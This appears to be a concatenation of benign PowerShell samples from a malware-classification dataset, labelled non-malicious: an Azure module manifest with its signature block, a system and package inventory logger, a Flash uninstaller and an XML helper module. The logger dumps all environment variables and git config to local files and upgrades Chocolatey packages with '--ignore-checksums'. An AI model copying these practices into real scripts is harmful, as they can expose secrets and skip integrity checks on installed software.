FunctionsToExport = 'Deploy-AzDevCenterUserEnvironment', 'Get-AzDevCenterAdminAttachedNetwork', 'Get-AzDevCenterAdminCatalog', 'Get-AzDevCenterAdminCatalogSyncErrorDetail', 'Get-AzDevCenterAdminDevBoxDefinition', 'Get-AzDevCenterAdminDevCenter', 'Get-AzDevCenterAdminEnvironmentDefinition', 'Get-AzDevCenterAdminEnvironmentDefinitionErrorDetail', 'Get-AzDevCenterAdminEnvironmentType', 'Get-AzDevCenterAdminGallery', 'Get-AzDevCenterAdminImage', 'Get-AzDevCenterAdminImageVersion', 'Get-AzDevCenterAdminNetworkConnection', 'Get-AzDevCenterAdminNetworkConnectionHealthDetail', 'Get-AzDevCenterAdminNetworkConnectionOutboundNetworkDependencyEndpoint', 'Get-AzDevCenterAdminOperationStatus', 'Get-AzDevCenterAdminPool', 'Get-AzDevCenterAdminProject', 'Get-AzDevCenterAdminProjectAllowedEnvironmentType', 'Get-AzDevCenterAdminProjectEnvironmentType', 'Get-AzDevCenterAdminSchedule', 'Get-AzDevCenterAdminSku', 'Get-AzDevCenterAdminUsage', 'Get-AzDevCenterUserCatalog', 'Get-AzDevCenterUserDevBox', 'Get-AzDevCenterUserDevBoxAction', 'Get-AzDevCenterUserDevBoxOperation', 'Get-AzDevCenterUserDevBoxRemoteConnection', 'Get-AzDevCenterUserEnvironment', 'Get-AzDevCenterUserEnvironmentAction', 'Get-AzDevCenterUserEnvironmentDefinition', 'Get-AzDevCenterUserEnvironmentLog', 'Get-AzDevCenterUserEnvironmentOperation', 'Get-AzDevCenterUserEnvironmentOutput', 'Get-AzDevCenterUserEnvironmentType', 'Get-AzDevCenterUserPool', 'Get-AzDevCenterUserProject', 'Get-AzDevCenterUserSchedule', 'Invoke-AzDevCenterAdminExecuteCheckNameAvailability', 'Invoke-AzDevCenterUserDelayDevBoxAction', 'Invoke-AzDevCenterUserDelayEnvironmentAction', 'New-AzDevCenterAdminAttachedNetwork', 'New-AzDevCenterAdminCatalog', 'New-AzDevCenterAdminDevBoxDefinition', 'New-AzDevCenterAdminDevCenter', 'New-AzDevCenterAdminEnvironmentType', 'New-AzDevCenterAdminGallery', 'New-AzDevCenterAdminNetworkConnection', 'New-AzDevCenterAdminPool', 'New-AzDevCenterAdminProject', 'New-AzDevCenterAdminProjectEnvironmentType', 'New-AzDevCenterAdminSchedule', 'New-AzDevCenterUserDevBox', 'New-AzDevCenterUserEnvironment', 'Remove-AzDevCenterAdminAttachedNetwork', 'Remove-AzDevCenterAdminCatalog', 'Remove-AzDevCenterAdminDevBoxDefinition', 'Remove-AzDevCenterAdminDevCenter', 'Remove-AzDevCenterAdminEnvironmentType', 'Remove-AzDevCenterAdminGallery', 'Remove-AzDevCenterAdminNetworkConnection', 'Remove-AzDevCenterAdminPool', 'Remove-AzDevCenterAdminProject', 'Remove-AzDevCenterAdminProjectEnvironmentType', 'Remove-AzDevCenterAdminSchedule', 'Remove-AzDevCenterUserDevBox', 'Remove-AzDevCenterUserEnvironment', 'Repair-AzDevCenterUserDevBox', 'Restart-AzDevCenterUserDevBox', 'Skip-AzDevCenterUserDevBoxAction', 'Skip-AzDevCenterUserEnvironmentAction', 'Start-AzDevCenterAdminNetworkConnectionHealthCheck', 'Start-AzDevCenterAdminPoolHealthCheck', 'Start-AzDevCenterUserDevBox', 'Stop-AzDevCenterUserDevBox', 'Sync-AzDevCenterAdminCatalog', 'Update-AzDevCenterAdminCatalog', 'Update-AzDevCenterAdminDevBoxDefinition', 'Update-AzDevCenterAdminDevCenter', 'Update-AzDevCenterAdminEnvironmentType', 'Update-AzDevCenterAdminNetworkConnection', 'Update-AzDevCenterAdminPool', 'Update-AzDevCenterAdminProject', 'Update-AzDevCenterAdminProjectEnvironmentType', 'Update-AzDevCenterAdminSchedule', 'Update-AzDevCenterUserEnvironment' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = @() # Variables to export from this module # VariablesToExport = @() # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = @() # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'Azure','ResourceManager','ARM','PSModule','DevCenter' # A URL to the license for this module. LicenseUri = 'https://aka.ms/azps-license' # A URL to the main website for this project. ProjectUri = 'https://github.com/Azure/azure-powershell' # A URL to an icon representing this module. # IconUri = '' # ReleaseNotes of this module ReleaseNotes = '* Introduced secrets detection feature to safeguard sensitive data.' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' } # SIG # Begin signature block # MIInzgYJKoZIhvcNAQcCoIInvzCCJ7sCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDg8gcMvvQoKP8L # 6+d5xakFdF5jwRorsQJG0UKTTVj1pKCCDYUwggYDMIID66ADAgECAhMzAAADri01 # UchTj1UdAAAAAAOuMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDI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A5EGgpwa69RkcbpyK4K/tkTGsyj2/8PpB0hqKaNj4csi48Yl9 # YEJD1NrrcsEtwCoCPfumYDCq3SmTVjhplxC/GNb0aYU8V3FqxGKf+SUEMdcvd2xi # 9hAmf934tb9qje5WxEnn94qKsuVI0PrDyBXmw5rYPWuSZ+AaHaj+ldaS12cxjp7e # Pk34csZRu0PwqobZDvb62EGr7ljQDs4PTh6hrPQ75aFiBv7hKxS4nB6xwvvi2sar # ALzxWSeIvv5D5m1vWC4KQVTi+CTl7CIWpp4dRBmWvvdNBdUTtdXOW5kEBhKfTiKn # UzIgttMNqZh3snTMzzCWlyMaMMXcxpoc3RrZp1NRrHL61HuSAJXP8YlQu2xWDN+K # wEpuqM1WibOaueX7dWd95zmXCmt+67LTR1Us0kAx9g6zHBQoUNkZSyi71Vbbu+K6 # tzU8dhOYVDT5KJDhD/v/9tQdU9QoLQAZ77xZ6zHX7TR3GvdlOTkC1Xtg+fDxqt7f # tKVoiMEMAFc5/a0MiwnyjayBjV3DxulZXegBRt5mLd7coVOxkooA/V6za/hqenYG # U8kU7Nm7yO/sOrn1Jh11XkvE # SIG # End signature block
combined_dataset/train/non-malicious/sample_67_7.ps1
sample_67_7.ps1
param( [Parameter(Mandatory = $true)] [string] $logPath, [Parameter(Mandatory = $true)] [string] $tmpPath, [Parameter(Mandatory = $true)] [boolean] $isUpdate ) function timestamp() { Get-Date -Format "yyyy-MM-dd HH:mm:ss" } try { # set error action $ErrorActionPreference = "SilentlyContinue" # output basic information $app_name = $myInvocation.MyCommand.name Write-Host -ForegroundColor Yellow "[$(timestamp)] $($app_name)" Write-Host -ForegroundColor Green "[$(timestamp)] - logPath: $($logPath)" Write-Host -ForegroundColor Green "[$(timestamp)] - tmpPath: $($tmpPath)" Write-Host -ForegroundColor Green "[$(timestamp)] - isUpdate: $($isUpdate)" # clear temporary path Write-Host -ForegroundColor Green "[$(timestamp)] - remove tmpPath" if (Test-Path $tmpPath) { Remove-Item $tmpPath -Recurse -Force } Write-Host -ForegroundColor Green "[$(timestamp)] - create tmpPath" New-Item $tmpPath -itemtype Directory | Out-Null # change current directory Push-Location $tmpPath # -------------------- # update packages # -------------------- if ($isUpdate) { # windows update Write-Host -ForegroundColor Green "[$(timestamp)] - update os" Get-Command abc-update | Out-Null if (-not $?) { Write-Host -ForegroundColor Yellow "[$(timestamp)] => abc-update not found" } else { abc-update /a:install /s:wsus /r:n } # update chocolatey Write-Host -ForegroundColor Green "[$(timestamp)] - update chocolatey" Get-Command choco | Out-Null if (-not $?) { Write-Host -ForegroundColor Yellow "[$(timestamp)] => choco not found" } else { choco upgrade all --ignore-checksums } # update nodejs Write-Host -ForegroundColor Green "[$(timestamp)] - update nodejs" Get-Command npm | Out-Null if (-not $?) { Write-Host -ForegroundColor Yellow "[$(timestamp)] => npm not found" } else { npm update -g } # update vscode Write-Host -ForegroundColor Green "[$(timestamp)] - update vscode" Get-Command code | Out-Null if (-not $?) { Write-Host -ForegroundColor Yellow "[$(timestamp)] => vscode not found" } else { code --list-extensions | ForEach-Object { code --install-extension $_ --force } } } # -------------------- # log packages # -------------------- function Invoke-ScriptAt() { param( [Parameter(Mandatory = $true)] [string] $path, [Parameter(Mandatory = $true)] [scriptblock] $script ) Write-Host -ForegroundColor Green "[$(timestamp)] - $($path)" New-Item $path -ItemType Directory | Out-Null Push-Location $path Invoke-Command $script Pop-Location if ((Get-ChildItem $path ).Count -eq 0) { Remove-Item $path } } function Convert-Filename($filename) { ($filename -replace "[`\/]", "-") -replace "[:`*`?`"<>`|]", "" } Invoke-ScriptAt "os/env" { Get-ChildItem env: | ForEach-Object { $filename = Convert-Filename $_.Name $text = "$($_.Name)=$($_.Value)" if ($_.Name -eq "Path" -or $_.Name -eq "PATHEXT") { # Path,PATHEXTだけは改行して出力 $text = ($text -replace "=", "=`n") -replace ";", "`n" Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" } $text | Out-File -Encoding "utf8" -NoNewline $filename } } Invoke-ScriptAt "os/feature" { Get-WindowsOptionalFeature -Online ` | Where-Object { $_.State -eq "Enabled" } ` | ForEach-Object { $filename = Convert-Filename $_.FeatureName $text = $_.FeatureName Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" $text | Out-File -Encoding "utf8" -NoNewline $filename } } Invoke-ScriptAt "os/service" { Get-Service ` | Where-Object { $_.ServiceType -notmatch '^[0-9]+$' } ` | Select-Object -property StartType, Name ` | ForEach-Object { $filename = Convert-Filename $_.Name $text = "$($_.Name): $($_.StartType)" Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" $text | Out-File -Encoding "utf8" -NoNewline $filename } } Invoke-ScriptAt "os/system" { # systeminfo systeminfo | Out-File -Encoding "utf8" systeminfo # diskpart $scriptpath = "$($env:TMP)\package-logger_diskpart.txt" "list volume`nlist disk" | Out-File -Encoding "utf8" $scriptpath diskpart -s $scriptpath | Out-File -Encoding "utf8" diskpart # drive # 参考:https://social.technet.microsoft.com/Forums/windowsserver/ja-JP/71da6de7-4ada-488e-a863-723a601b1483/12487124511247312463203512999223481373271228931354123652348137?forum=winserver10TP Get-PSDrive ` | Where-Object { $_.name -match "^[A-Z]$" } ` | Format-Table -AutoSize name, ` @{ Name = "Size(GB)"; Expression = { (($_.Used + $_.Free) / 1GB).ToString("#,0.00") } }, ` @{ Name = "Used(GB)"; Expression = { ($_.Used / 1GB).ToString("#,0.00") } }, ` @{ Name = "Free(GB)"; Expression = { ($_.free / 1GB).ToString("#,0.00") } }, ` @{ Name = "Use%"; Expression = { "{0:0%}" -f ($_.Used / ($_.Used + $_.Free)) } } ` | Out-File -Encoding "utf8" drive } Invoke-ScriptAt "os" {} Invoke-ScriptAt "package/app" { Get-ChildItem ` Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall, ` Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall, ` Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall ` | Get-ItemProperty ` | Select-Object DisplayName, DisplayVersion ` | Where-Object { $_.DisplayName } ` | ForEach-Object { $filename = Convert-Filename $_.DisplayName $text = "$($_.DisplayName)@$($_.DisplayVersion)" Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" $text | Out-File -Encoding "utf8" -NoNewline $filename } } Get-Command choco | Out-Null if ($?) { Invoke-ScriptAt "package/chocolatey" { choco config list | Out-File -Encoding "utf8" _choco_config_list choco list ` | Where-Object { $_ -match "^[^ ]+ +v?[0-9]+(\.[0-9]+)+$" } ` | ForEach-Object { $filename = Convert-Filename ($_ -split " ")[0] $text = $_ -replace " ", "@" Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" $text | Out-File -Encoding "utf8" -NoNewline $filename } } } Get-Command git | Out-Null if ($?) { Invoke-ScriptAt "package/git" { git config --list | Out-File -Encoding "utf8" _git_config_list } } Get-Command npm | Out-Null if ($?) { Invoke-ScriptAt "package/nodejs" { npm config list | Out-File -Encoding "utf8" _npm_config_list npm list --global ` | Where-Object { $_ -notmatch "\\" }` | Where-Object { $_ -ne "" }` | Where-Object { $_ -notmatch "->" }` | ForEach-Object { $array_1 = $_ -split " " $text = $array_1[1] $array_2 = $text -split "@" $filename = $array_2[0] if (-not $filename) { $filename = "@" + $array_2[1] } $filename = Convert-Filename $filename Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" $text | Out-File -Encoding "utf8" -NoNewline $filename } Get-Command nvm | Out-Null if ($?) { nvm list | Out-File -Encoding "utf8" _nvm_list } } } Invoke-ScriptAt "package/python" { Get-Command pip | Out-Null if ($?) { pip config list | Out-File -Encoding "utf8" _pip_config_list pip list 2>&1 ` | Where-Object { $_ -match "^[^ ]+ +[0-9]+(\.[0-9]+)+$" } ` | ForEach-Object { $array = $_ -split " +" $filename = Convert-Filename $array[0] $text = $_ -replace " +", "@" Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" $text | Out-File -Encoding "utf8" -NoNewline $filename } } } Invoke-ScriptAt "package/vscode" { Copy-Item $env:APPDATA\\Code\\User\\settings.json _settings.json Copy-Item $env:APPDATA\\Code\\User\\keybindings.json _keybindings.json code --list-extensions --show-versions ` | ForEach-Object { $array = $_ -split "@" $filename = Convert-Filename $array[0] $text = $_ Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" $text | Out-File -Encoding "utf8" -NoNewline $filename } } Invoke-ScriptAt "package" {} function Get-OfficeApp($appname, $pattern) { Get-ChildItem ` -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\$($appname)\Addins", ` "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\$($appname)\Addins", ` "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\$($appname)\Addins" ` -ErrorAction Ignore ` | Get-ItemProperty ` | Where-Object { $_.FriendlyName } ` | ForEach-Object { $filename = Convert-Filename $_.FriendlyName $text = $_.FriendlyName Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" $text | Out-File -Encoding "utf8" -NoNewline $filename } if ($pattern) { Get-ChildItem "$($env:APPDATA)\Microsoft\AddIns\$($pattern)" ` | ForEach-Object { $filename = Convert-Filename $_.Name $text = $_.Name Write-Host -ForegroundColor Yellow "[$(timestamp)] - $($text)" $text | Out-File -Encoding "utf8" -NoNewline $filename } } } Invoke-ScriptAt "office/excel" { Get-OfficeApp "Excel" "*.xlam" } Invoke-ScriptAt "office/word" { Get-OfficeApp "Word" } Invoke-ScriptAt "office/powerpoint" { Get-OfficeApp "PowerPoint" "*.ppam" } Invoke-ScriptAt "office/outlook" { Get-OfficeApp "Outlook" } Invoke-ScriptAt "office" {} # back to directory Pop-Location # success Write-Host -ForegroundColor Green "[$(timestamp)] - move tmpPath to logPath" if (Test-Path $logPath) { Remove-Item $logPath -Recurse -Force } Move-Item $tmpPath $logPath -Force if (!(Test-Path $logPath)) { throw "ERROR: failed to move tmpPath to logPath." } # done $vscode_process = Get-Process | Where-Object ProcessName -eq code if ($vscode_process.Count -eq 0) { Write-Host -ForegroundColor Green "[$(timestamp)] - done. but vscode missing, please start vscode." -ForegroundColor Yellow pause } else { Write-Host -ForegroundColor Green "[$(timestamp)] - done" timeout 5 } } catch { Write-Host -ForegroundColor Red $_ pause } finally { }
combined_dataset/train/non-malicious/4062.ps1
4062.ps1
[CmdletBinding()] param () function Uninstall-MSIByName { [CmdletBinding()] param ( [ValidateNotNullOrEmpty()][String]$ApplicationName, [ValidateNotNullOrEmpty()][String]$Switches ) $Executable = $Env:windir + "\system32\msiexec.exe" $Uninstall = Get-ChildItem HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall -Recurse -ErrorAction SilentlyContinue If (((Get-WmiObject -Class Win32_OperatingSystem | Select-Object OSArchitecture).OSArchitecture) -eq "64-Bit") { $Uninstall += Get-ChildItem HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall -Recurse -ErrorAction SilentlyContinue } $Key = $uninstall | foreach-object { Get-ItemProperty REGISTRY::$_ } | where-object { $_.DisplayName -like "*$ApplicationName*" } If ($Key -ne $null) { Write-Host "Uninstall"$Key.DisplayName"....." -NoNewline $Parameters = "/x " + $Key.PSChildName + [char]32 + $Switches $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Parameters -Wait -Passthru).ExitCode If (($ErrCode -eq 0) -or ($ErrCode -eq 3010) -or ($ErrCode -eq 1605)) { Write-Host "Success" -ForegroundColor Yellow } else { Write-Host "Failed with error code "$ErrCode -ForegroundColor Red } } } Uninstall-MSIByName -ApplicationName "Adobe Flash Player 14 ActiveX" -Switches "/qb- /norestart" Uninstall-MSIByName -ApplicationName "Adobe Flash Player 14 Plugin" -Switches "/qb- /norestart" Uninstall-MSIByName -ApplicationName "Adobe Flash Player 18 ActiveX" -Switches "/qb- /norestart" Uninstall-MSIByName -ApplicationName "Adobe Flash Player 18 Plugin" -Switches "/qb- /norestart"
combined_dataset/train/non-malicious/Xml Module 4.6.ps1
Xml Module 4.6.ps1
#requires -version 2.0 # Improves over the built-in Select-XML by leveraging Remove-XmlNamespace http`://poshcode.org/1492 # to provide a -RemoveNamespace parameter -- if it's supplied, all of the namespace declarations # and prefixes are removed from all XML nodes (by an XSL transform) before searching. # IMPORTANT: returned results *will not* have namespaces in them, even if the input XML did. # Also, only raw XmlNodes are returned from this function, so the output isn't completely compatible # with the built in Select-Xml. It's equivalent to using Select-Xml ... | Select-Object -Expand Node # Version History: # Select-Xml 2.0 This was the first script version I wrote. # it didn't function identically to the built-in Select-Xml with regards to parameter parsing # Select-Xml 2.1 Matched the built-in Select-Xml parameter sets, it's now a drop-in replacement # BUT only if you were using the original with: Select-Xml ... | Select-Object -Expand Node # Select-Xml 2.2 Fixes a bug in the -Content parameterset where -RemoveNamespace was *presumed* # Version 3.0 Added New-XDocument and associated generation functions for my XML DSL # Version 3.1 Fixed a really ugly bug in New-XDocument in 3.0 which I should not have released # Version 4.0 Never content to leave well enough alone, I've completely reworked New-XDocument # Version 4.1 Tweaked namespaces again so they don't cascade down when they shouldn't. Got rid of the unnecessary stack. # Version 4.2 Tightened xml: only cmdlet, function, and external scripts, with "-" in their names are exempted from being converted into xml tags. # Fixed some alias error messages caused when PSCX is already loaded (we overwrite their aliases for cvxml and fxml) # Version 4.3 Added a Path parameter set to Format-XML so you can specify xml files for prety printing # Version 4.5 Fixed possible [Array]::Reverse call on a non-array in New-XElement (used by New-XDocument) # Work around possible variable slipping on null values by: # 1) allowing -param:$value syntax (which doesn't fail when $value is null) # 2) testing for -name syntax on the value and using it as an attribute instead # Version 4.6 Added -Arguments to Convert-Xml so that you can pass arguments to XSLT transforms! # Note: when using strings for xslt, make sure you single quote them or escape the $ signs. $xlr8r = [type]::gettype("System.Management.Automation.TypeAccelerators") $xlinq = [Reflection.Assembly]::Load("System.Xml.Linq, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089") $xlinq.GetTypes() | ? { $_.IsPublic -and !$_.IsSerializable -and $_.Name -ne "Extensions" -and !$xlr8r::Get[$_.Name] } | % { $xlr8r::Add( $_.Name, $_.FullName ) } if(!$xlr8r::Get["Stack"]) { $xlr8r::Add( "Stack", "System.Collections.Generic.Stack``1, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ) } if(!$xlr8r::Get["Dictionary"]) { $xlr8r::Add( "Dictionary", "System.Collections.Generic.Dictionary``2, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ) } if(!$xlr8r::Get["PSParser"]) { $xlr8r::Add( "PSParser", "System.Management.Automation.PSParser, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" ) } filter Format-XML { #.Synopsis # Pretty-print formatted XML source #.Description # Runs an XmlDocument through an auto-indenting XmlWriter #.Parameter Xml # The Xml Document #.Parameter Path # The path to an xml document (on disc or any other content provider). #.Parameter Indent # The indent level (defaults to 2 spaces) #.Example # [xml]$xml = get-content Data.xml # C:\\PS>Format-Xml $xml #.Example # get-content Data.xml | Format-Xml #.Example # Format-Xml C:\\PS\\Data.xml #.Example # ls *.xml | Format-Xml # [CmdletBinding()] Param( [Parameter(Position=0, Mandatory=$true, ValueFromPipeline=$true, ParameterSetName="Document")] [xml]$Xml , [Parameter(Position=0, Mandatory=$true, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true, ParameterSetName="File")] [Alias("PsPath")] [string]$Path , [Parameter(Mandatory=$false)] $Indent=2 ) ## Load from file, if necessary if($Path) { [xml]$xml = Get-Content $Path } $StringWriter = New-Object System.IO.StringWriter $XmlWriter = New-Object System.Xml.XmlTextWriter $StringWriter $xmlWriter.Formatting = "indented" $xmlWriter.Indentation = $Indent $xml.WriteContentTo($XmlWriter) $XmlWriter.Flush() $StringWriter.Flush() Write-Output $StringWriter.ToString() } Set-Alias fxml Format-Xml -EA 0 function Select-Xml { #.Synopsis # The Select-XML cmdlet lets you use XPath queries to search for text in XML strings and documents. Enter an XPath query, and use the Content, Path, or Xml parameter to specify the XML to be searched. #.Description # Improves over the built-in Select-XML by leveraging Remove-XmlNamespace to provide a -RemoveNamespace parameter -- if it's supplied, all of the namespace declarations and prefixes are removed from all XML nodes (by an XSL transform) before searching. # # However, only raw XmlNodes are returned from this function, so the output isn't currently compatible with the built in Select-Xml, but is equivalent to using Select-Xml ... | Select-Object -Expand Node # # Also note that if the -RemoveNamespace switch is supplied the returned results *will not* have namespaces in them, even if the input XML did, and entities get expanded automatically. #.Parameter Content # Specifies a string that contains the XML to search. You can also pipe strings to Select-XML. #.Parameter Namespace # Specifies a hash table of the namespaces used in the XML. Use the format @{<namespaceName> = <namespaceUri>}. #.Parameter Path # Specifies the path and file names of the XML files to search. Wildcards are permitted. #.Parameter Xml # Specifies one or more XML nodes to search. #.Parameter XPath # Specifies an XPath search query. The query language is case-sensitive. This parameter is required. #.Parameter RemoveNamespace # Allows the execution of XPath queries without namespace qualifiers. # # If you specify the -RemoveNamespace switch, all namespace declarations and prefixes are actually removed from the Xml before the XPath search query is evaluated, and your XPath query should therefore NOT contain any namespace prefixes. # # Note that this means that the returned results *will not* have namespaces in them, even if the input XML did, and entities get expanded automatically. [CmdletBinding(DefaultParameterSetName="Xml")] PARAM( [Parameter(Position=1,ParameterSetName="Path",Mandatory=$true,ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()] [Alias("PSPath")] [String[]]$Path , [Parameter(Position=1,ParameterSetName="Xml",Mandatory=$true,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()] [Alias("Node")] [System.Xml.XmlNode[]]$Xml , [Parameter(ParameterSetName="Content",Mandatory=$true,ValueFromPipeline=$true)] [ValidateNotNullOrEmpty()] [String[]]$Content , [Parameter(Position=0,Mandatory=$true,ValueFromPipeline=$false)] [ValidateNotNullOrEmpty()] [Alias("Query")] [String[]]$XPath , [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [Hashtable]$Namespace , [Switch]$RemoveNamespace ) BEGIN { function Select-Node { PARAM([Xml.XmlNode]$Xml, [String[]]$XPath, $NamespaceManager) BEGIN { foreach($node in $xml) { if($NamespaceManager -is [Hashtable]) { $nsManager = new-object System.Xml.XmlNamespaceManager $node.NameTable foreach($ns in $Namespace.GetEnumerator()) { $nsManager.AddNamespace( $ns.Key, $ns.Value ) } } foreach($path in $xpath) { $node.SelectNodes($path, $NamespaceManager) } } } } [Text.StringBuilder]$XmlContent = [String]::Empty } PROCESS { $NSM = $Null; if($PSBoundParameters.ContainsKey("Namespace")) { $NSM = $Namespace } switch($PSCmdlet.ParameterSetName) { "Content" { $null = $XmlContent.AppendLine( $Content -Join "`n" ) } "Path" { foreach($file in Get-ChildItem $Path) { [Xml]$Xml = Get-Content $file if($RemoveNamespace) { $Xml = Remove-XmlNamespace $Xml } Select-Node $Xml $XPath $NSM } } "Xml" { foreach($node in $Xml) { if($RemoveNamespace) { $node = Remove-XmlNamespace $node } Select-Node $node $XPath $NSM } } } } END { if($PSCmdlet.ParameterSetName -eq "Content") { [Xml]$Xml = $XmlContent.ToString() if($RemoveNamespace) { $Xml = Remove-XmlNamespace $Xml } Select-Node $Xml $XPath $NSM } } } Set-Alias slxml Select-Xml -EA 0 function Convert-Node { #.Synopsis # Convert a single XML Node via XSL stylesheets [CmdletBinding()] param( [Parameter(Mandatory=$true,ValueFromPipeline=$true)] [System.Xml.XmlReader]$XmlReader , [Parameter(Position=1,Mandatory=$true,ValueFromPipeline=$false)] [System.Xml.Xsl.XslCompiledTransform]$StyleSheet , [Parameter(Position=2,Mandatory=$false)] [Alias("Parameters")] [hashtable]$Arguments ) PROCESS { $output = New-Object IO.StringWriter $argList = $null if($Arguments) { $argList = New-Object System.Xml.Xsl.XsltArgumentList foreach($arg in $Arguments.GetEnumerator()) { $namespace, $name = $arg.Key -split ":" ## Fix namespace if(!$name) { $name = $Namespace $namespace = "" } Write-Verbose "ns:$namespace name:$name value:$($arg.Value)" $argList.AddParam($name,"$namespace",$arg.Value) } } $StyleSheet.Transform( $XmlReader, $argList, $output ) Write-Output $output.ToString() } } function Convert-Xml { #.Synopsis # The Convert-XML function lets you use Xslt to transform XML strings and documents. #.Description #.Parameter Content # Specifies a string that contains the XML to search. You can also pipe strings to Select-XML. #.Parameter Namespace # Specifies a hash table of the namespaces used in the XML. Use the format @{<namespaceName> = <namespaceUri>}. #.Parameter Path # Specifies the path and file names of the XML files to search. Wildcards are permitted. #.Parameter Xml # Specifies one or more XML nodes to search. #.Parameter Xsl # Specifies an Xml StyleSheet to transform with... [CmdletBinding(DefaultParameterSetName="Xml")] PARAM( [Parameter(Position=1,ParameterSetName="Path",Mandatory=$true,ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()] [Alias("PSPath")] [String[]]$Path , [Parameter(Position=1,ParameterSetName="Xml",Mandatory=$true,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()] [Alias("Node")] [System.Xml.XmlNode[]]$Xml , [Parameter(ParameterSetName="Content",Mandatory=$true,ValueFromPipeline=$true)] [ValidateNotNullOrEmpty()] [String[]]$Content , [Parameter(Position=0,Mandatory=$true,ValueFromPipeline=$false)] [ValidateNotNullOrEmpty()] [Alias("StyleSheet")] [String[]]$Xslt , [Alias("Parameters")] [hashtable]$Arguments ) BEGIN { $StyleSheet = New-Object System.Xml.Xsl.XslCompiledTransform if(Test-Path @($Xslt)[0] -EA 0) { Write-Verbose "Loading Stylesheet from $(Resolve-Path @($Xslt)[0])" $StyleSheet.Load( (Resolve-Path @($Xslt)[0]) ) } else { $OFS = "`n" Write-Verbose "$Xslt" $StyleSheet.Load(([System.Xml.XmlReader]::Create((New-Object System.IO.StringReader "$Xslt" )) )) } [Text.StringBuilder]$XmlContent = [String]::Empty } PROCESS { switch($PSCmdlet.ParameterSetName) { "Content" { $null = $XmlContent.AppendLine( $Content -Join "`n" ) } "Path" { foreach($file in Get-ChildItem $Path) { Convert-Node -Xml ([System.Xml.XmlReader]::Create((Resolve-Path $file))) $StyleSheet $Arguments } } "Xml" { foreach($node in $Xml) { Convert-Node -Xml (New-Object Xml.XmlNodeReader $node) $StyleSheet $Arguments } } } } END { if($PSCmdlet.ParameterSetName -eq "Content") { [Xml]$Xml = $XmlContent.ToString() Convert-Node -Xml $Xml $StyleSheet $Arguments } } } Set-Alias cvxml Convert-Xml -EA 0 function Remove-XmlNamespace { #.Synopsis # Removes namespace definitions and prefixes from xml documents #.Description # Runs an xml document through an XSL Transformation to remove namespaces from it if they exist. # Entities are also naturally expanded #.Parameter Content # Specifies a string that contains the XML to transform. #.Parameter Path # Specifies the path and file names of the XML files to transform. Wildcards are permitted. # # There will bne one output document for each matching input file. #.Parameter Xml # Specifies one or more XML documents to transform [CmdletBinding(DefaultParameterSetName="Xml")] PARAM( [Parameter(Position=1,ParameterSetName="Path",Mandatory=$true,ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()] [Alias("PSPath")] [String[]]$Path , [Parameter(Position=1,ParameterSetName="Xml",Mandatory=$true,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()] [Alias("Node")] [System.Xml.XmlNode[]]$Xml , [Parameter(ParameterSetName="Content",Mandatory=$true,ValueFromPipeline=$true)] [ValidateNotNullOrEmpty()] [String[]]$Content , [Parameter(Position=0,Mandatory=$true,ValueFromPipeline=$false)] 